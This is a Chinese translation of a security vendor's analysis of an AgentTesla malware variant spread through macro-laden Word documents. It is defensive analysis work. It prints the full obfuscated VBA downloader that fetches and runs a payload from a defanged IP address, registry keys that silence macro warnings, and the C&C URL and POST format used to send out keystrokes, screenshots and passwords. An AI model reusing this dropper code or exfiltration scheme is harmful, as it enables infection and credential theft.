【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

https://p2.ssl.qhimg.com/t0194e839419827cc8f.png

译者:eridanus96

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

背景

FortiGuard实验室近期捕获到了一些使用微软.Net框架开发的恶意软件,我们对其中比较典型的一个进行了分析。该恶意软件是AgentTesla家族的一个变种,通过含有能自动执行的恶意VBA宏的Word文档实现传播。本文将全面分析这一恶意软件是如何从用户机器中窃取信息的。下图是打开包含恶意代码的Word文档时的界面。

http://p7.qhimg.com/t014eb378307e7c1be3.png


对VBA代码的分析

单击“Enable Content”(启用内容)按钮后,会在后台偷偷执行恶意VBA宏。代码首先将一些键值写入设备的系统注册表中,以避免在下次打开带有不安全内容的Word文档时再出现宏安全警告。以下是写入注册表中的内容:

HKCUSoftwareMicrosoftOffice{word version}WordSecurity,AccessVBOM, dword, 1 HKCUSoftwareMicrosoftOffice{word version}WordSecurity,VBAWarning, dword, 1

http://p6.qhimg.com/t0156c6b2d68fc9854a.png

写入完成后,它会在一个新的Word进程中重新打开Word文档。这时,宏会再次执行,但这一次它执行的是不同的代码部分。在重新启动的Word程序中执行的宏,主要目的是动态获取一个新的VBA函数(ljRIpdKkSmQPMbnLdh)并得到它的调用。

该函数如下:

Sub ljRIpdKkSmQPMbnLdh()
    Dim dmvAQJch As String
    Dim JWyaIoTHtZaFG As String
    Dim TrbaApjsFydVkOGwjnzkpOB As String
    
    dmvAQJch = CreateObject(ThisDocument.bQYHDG("66627281787F833D6277747B7B", 15)).ExpandEnvironmentStrings(ThisDocument.bQYHDG("3463747C7F34", 15))
    JWyaIoTHtZaFG = ThisDocument.bQYHDG("6B", 15)
    TrbaApjsFydVkOGwjnzkpOB = ThisDocument.bQYHDG("797085823D748774", 15)
    dmvAQJch = dmvAQJch + JWyaIoTHtZaFG + TrbaApjsFydVkOGwjnzkpOB 
    
    Dim cllbWRRTqqWoZebEpYdGmnPBLAx As String
    cllbWRRTqqWoZebEpYdGmnPBLAx = ThisDocument.bQYHDG("7783837F493E3E43443D46463D42443D4142483E403E837E7370883D748774", 15)
 
    Dim OhYBGFWMcPWNnpvvuTeitVAK As Object
    Set OhYBGFWMcPWNnpvvuTeitVAK = CreateObject(ThisDocument.bQYHDG("5C7872817E827E75833D675C5B5763635F", 15))
    OhYBGFWMcPWNnpvvuTeitVAK.Open ThisDocument.bQYHDG("565463", 15), cllbWRRTqqWoZebEpYdGmnPBLAx, False 
    OhYBGFWMcPWNnpvvuTeitVAK.send
 
    If OhYBGFWMcPWNnpvvuTeitVAK.Status = 200 Then
        Dim BIPvJqwtceisuIuipCzbpsWRuhRwp As Object
        Set BIPvJqwtceisuIuipCzbpsWRuhRwp = CreateObject(ThisDocument.bQYHDG("50535E53513D62838174707C", 15))
        BIPvJqwtceisuIuipCzbpsWRuhRwp.Open
        BIPvJqwtceisuIuipCzbpsWRuhRwp.Type = 1
        BIPvJqwtceisuIuipCzbpsWRuhRwp.Write OhYBGFWMcPWNnpvvuTeitVAK.responseBody
        BIPvJqwtceisuIuipCzbpsWRuhRwp.SaveToFile dmvAQJch, 2
        BIPvJqwtceisuIuipCzbpsWRuhRwp.Close
    End If
 
    If Len(Dir(dmvAQJch)) <> 0 Then
        Dim TGoCeWgrszAukk
        TGoCeWgrszAukk = Shell(dmvAQJch, 0)
    End If
 
End Sub

此函数中的所有关键部分都被编码。解码后如下:

bQYHDG("66627281787F833D6277747B7B", 15) => “WScript.Shell”
bQYHDG("3463747C7F34", 15) => “%Temp%”
bQYHDG("797085823D748774", 15) => “javs.exe”
bQYHDG("7783837F493E3E43443D46463D42443D4142483E403E837E7370883D748774", 15) => “hxxp://45.77.35.239/1/today.exe”
bQYHDG("5C7872817E827E75833D675C5B5763635F", 15) => “Microsoft.XMLHTTP”
bQYHDG("565463", 15) => “Get”

从上面高亮的关键字可以发现,此恶意软件可以下载一个可执行文件,并通过调用“Shell”函数运行该文件。具体来说,恶意软件是将“today.exe”文件下载到%Temp%目录下,重命名为“javs.exe”,然后运行。


对javs.exe的分析

http://p6.qhimg.com/t013f1f6865c6a3bd93.png

从上图中PE分析工具的分析结果中,我们可以看到javs.exe是使用.NET框架构建的。然而这一文件使用了PDF相关的图标,用以迷惑用户。

在执行后,它通过调用带有CREATE_SUSPENDED标志的CreateProcessA函数来启动另一个进程。这一过程将允许通过调用WriteProcessMemory函数来修改第二个进程的内存。最后,通过调用SetThreadContext和ResumeThread函数来恢复进程。

下图展现了CreateProcessA是如何被调用的:

http://p9.qhimg.com/t01e22389dde3496ff3.png

通过分析,我们确定通过调用WriteProcessMemory注入到第二个进程中的数据是另一个可执行文件。此文件是从第一个javs.exe进程中的BMP资源中解码得到的。这一注入的可执行文件同样是用.NET框架构建的。

我们知道,.NET程序只包含已编译的字节码。而字节码只能在其.NET CLR虚拟机中解析和执行。因此,使用Ollydbg或Windbg这些工具分析.NET程序的难度将非常大,我们需要选择其他合适的分析工具。

对第二个.NET程序的分析

在前面的分析过程中,我们已经确定第二个.NET程序是由javs.exe进程的内存中动态解码而成。因此,我们要尝试捕获其整个数据,并将其保存为exe文件进行分析。我们使用内存工具直接从第二个进程的内存中转储它,如下图所示。

http://p5.qhimg.com/t0117089227c872f8ad.png

在转储过程中,提示“PE文件已损坏”,原因可能在于转储文件的PE头部是错误的。我们可以使用任何一种脱壳手段手动修复PE头部。随后,转储文件便可以被识别、静态分析和调试。如下图,修复后的文件被识别为.NET程序集,同时还可以在CFF资源管理器中看到.NET目录信息。

http://p6.qhimg.com/t01cb34d9c23a25c88b.png

恶意软件的作者使用了一些反分析技术。例如,对函数名和变量名进行模糊处理以使其难以理解,进行编码以隐藏关键字和关键数据。因此,分析人员很难分析出恶意软件的工作方式。由于类、函数和变量的名称不可读,修复后的.NET程序甚至会造成静态分析工具.NET Reflector无法正常工作。使用反分析技术的部分代码如下:

http://p4.qhimg.com/t01525f730eea9e051b.png

为了更好地分析恶意软件,我们尝试将可读性差的名称重新命名。在后续的分析中,代码中涉及到的名称均被重命名为易于理解的名称。

以上我们就完成了全部准备工作,接下来就可以对该恶意软件的整体进行分析。

对.NET恶意软件的整体分析

一旦运行,它将通过当前运行的进程来杀死所发现的重复进程。随后,向C&C服务器发送“uninstall”(卸载)和“update”(更新)命令。如果从服务器返回的响应中包含“uninstall”字符串,便会删除其在计算机上写入的全部信息并退出。当我运行的恶意软件, 没有 "卸载" 字符串包含在响应, 所以我可以继续分析。下图展现了将“update”命令发送到C&C服务器的过程:

http://p2.qhimg.com/t0193771dc0876e675e.png

http://p9.qhimg.com/t015edcafa2e45fc458.png

从上图中标记的位置我们可以发现,C&C服务器的地址是“hxxp://www.vacanzaimmobiliare.it/testla/WebPanel/post. php”,该地址在 “SendToCCServer”函数中被解密。HTTP的请求方式是POST。

接下来, 它将自己从“%temp%javs.exe”复制到“%appdata%JavaJavaUpdtr.exe”。通过这种方式,它使得自己看起来像一个Java更新程序。接着,它将自己的完整路径写入系统注册表中的“SoftwareMicrosoftWindows NTCurrentVersionWindowsload”键值中,以便在系统启动时自动运行JavaUpdtr.exe。

下面的代码是该恶意软件定位JavaUpdtr.exe完整路径的方法:

private static string appdata_Java_JavaUpdtr.exe = Environment.GetEnvironmentVariable("appdata") + "\Java\JavaUpdtr.exe";

该恶意软件可以记录计算机的键盘输入,实时从系统的剪贴板中窃取数据,捕获计算机屏幕截图,并收集已安装软件的用户凭据。为了完成这些任务,它创建了多个线程和计时器,我们接下来将进行分析。

 

窃取键盘输入、系统剪贴板内容和屏幕截图

在调用main函数前,在main类的构造函数中定义了三个Hook对象,分别用于记录键盘、鼠标和剪贴板。之后,它对这些Hook的功能进行设置,以便当用户从键盘输入内容时,或者当剪贴板数据被更改(使用Ctrl+C)时,会首先调用挂钩函数。

http://p8.qhimg.com/t01ceed41777b43eb25.png

在这个函数中,它首先抓取用户键入的窗口标题,并将其放入html代码中。接下来,它会捕获用户按键,并将按键字符串转换为html代码,形如:

http://p4.qhimg.com/t01b2d28911bb93d67e.png

HTML代码被连接到变量“pri_string_saveAllStolenKey_Clipboard_Data”:

http://p9.qhimg.com/t01b22207d5b787d109.png

恶意软件还会创建一个计时器,每10分钟调用一次函数。计时器的函数可以使用“Graphics::CopyFromScreen”这一API抓取用户的屏幕截图,并保存到文件  “%appdata%ScreenShotscreen.jpeg”。随后使用base64对screen.jpeg文件进行编码,最后使用“screenshots”命令发送到C&C服务器上。

它会每隔10分钟都进行一次屏幕截图并上传,所以恶意软件的作者可以看到用户正在进行的工作。下图是恶意软件通过调用发送函数,向C&C服务器发送一个screen.jpeg文件:

http://p9.qhimg.com/t017dc52e0a458012c2.png

窃取已安装软件的用户凭据

在main函数的最后,创建了另一个线程,其功能是从计算机上的各种已安装软件中收集凭据。它可以从系统注册表、本地配置文件、SQLite数据库文件中收集用户凭据。一旦它捕获到一个软件的凭据,就会立即将其发送到C&C服务器。一个HTTP数据包只包含一个软件的凭据。

根据我们的分析,该恶意软件可以从下列软件中获取凭据:

浏览器:Google Chrome, Mozilla  Firefox, Opera, Yandex, Microsoft IE, Apple Safari, SeaMonkey, ComodoDragon, FlockBrowser, CoolNovo, SRWareIron, UC browser, Torch Browser

邮件客户端:Microsoft Office Outlook, Mozilla Thunderbird, Foxmail, Opera Mail, PocoMail, Eudora, TheBat!

FTP客户端:FileZilla, WS_FTP, WinSCP, CoreFTP, FlashFXP, SmartFTP, FTPCommander

动态DNS:DynDNS, No-IP

视频聊天软件:Paltalk, Pidgin

下载软件:Internet Download Manager, JDownloader

在我们的实验中,使用了微软Outlook进行测试,下图是发送到C&C服务器的Outlook数据的内容:

http://p9.qhimg.com/t014dda9bdfadbf5061.png

 

C&C命令格式

C&C命令格式字符串如下: 

"type={0}&hwid={1}&time={2}&pcname={3}&logdata={4}&screen={5}&ipadd={6}&wbscreen={7}&client={8}&link={9}&username={10}&password={11}&screen_name={12}"

其中每个字段的含义如下:

type(命令名称),hwid(硬件ID),time(当前日期和时间),pcname(主机名),logdata(键盘输入和剪贴板内容),screen(base64编码后的屏幕截图),ipadd(IP地址,该项不使用),wbscreen(摄像头的图像内容),client(软件名称),link(软件的网址),username(登录用户名),password(登录密码),screen_name(屏幕名称,该项不使用)。

下表列出了恶意软件支持的所有C&C命令 (类型字段):

https://p5.ssl.qhimg.com/t01890811ac3c4db798.png


结语

经过以上深入的分析,我们已经知道该恶意软件的主要目的是收集用户的系统信息,不断记录用户的键盘输入和系统剪贴板内容,并获取一些流行软件的凭据。

然而,我们认真阅读了反编译后的*.cs文件,发现在这个恶意软件中还内置一些尚未启用的功能,它们包括:

使用SMTP协议与服务器通信;

获取系统硬件信息(包括处理器、内存和显卡);

启动用户的摄像头并收集图像;

将JavaUptr.exe添加到系统注册表中启动项,然后重启系统;

关闭正在运行的分析进程、杀毒软件或键盘记录软件。

在该恶意软件的后续变种中,很有可能会启用这些功能。因此,我们需要避免打开来源不明的文件,谨慎启用Word中的VBA宏功能,加强对恶意软件的防范。

(完)